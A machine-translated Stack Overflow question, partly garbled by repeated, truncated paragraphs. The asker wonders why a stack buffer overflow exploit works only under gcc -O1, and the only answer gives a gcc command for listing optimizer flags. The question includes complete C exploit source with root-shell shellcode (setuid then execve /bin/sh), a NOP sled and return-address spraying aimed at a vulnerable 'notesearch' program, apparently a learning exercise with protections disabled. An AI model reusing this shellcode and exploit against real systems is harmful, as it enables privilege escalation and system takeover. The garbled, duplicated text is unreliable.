This question already has answers here:
Selecting gcc optimisation flags equivalent to -O1
(2个答案)
3年前关闭。
当处理堆栈溢出时,我注意到只有当我用'-O1'编译它时,它才起作用。为了了解哪个选项是造成差异的原因,我手动输入了-O1选项(从我的版本的page中获取,与我在机器上检查
我确实注意到仅用
有任何想法吗?在一个旧的SO问题中还有其他人pointed the difference out,但仍未解决。
数据:
-Ubuntu 12.04
-gcc 4.6.3。
-x86 32位
-一个C程序
注意:关于溢出的工作,我已经禁用了我所知道的所有防止溢出的内容(canaries,ASLR,execstack,堆栈对齐)。
代码(可能与问题无关)。这个函数调用另一个我可以发布的函数。但我认为这并不重要(应要求提供):
(或其他任何优化级别,而不是
(2个答案)
3年前关闭。
当处理堆栈溢出时,我注意到只有当我用'-O1'编译它时,它才起作用。为了了解哪个选项是造成差异的原因,我手动输入了-O1选项(从我的版本的page中获取,与我在机器上检查
man gcc
时发现的内容一致)。但是,该程序然后再次不起作用。我确实注意到仅用
-O1
编译后,这可能对警告输出没有帮助:exploit_notesearch.c:31:10: warning: ignoring return value of ‘system’, declared with attribute warn_unused_result [-Wunused-result]
。有任何想法吗?在一个旧的SO问题中还有其他人pointed the difference out,但仍未解决。
数据:
-Ubuntu 12.04
-gcc 4.6.3。
-x86 32位
-一个C程序
注意:关于溢出的工作,我已经禁用了我所知道的所有防止溢出的内容(canaries,ASLR,execstack,堆栈对齐)。
代码(可能与问题无关)。这个函数调用另一个我可以发布的函数。但我认为这并不重要(应要求提供):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
最佳答案
您可以通过运行打印出gcc实际使用的优化
gcc -Q -O0 --help=optimizers
(或其他任何优化级别,而不是
-O0
)。关于c - gcc:使用-O1并拼写出-O1选项会导致不同的结果(一种有效;一种无效),我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/20246357/
10-11 16:40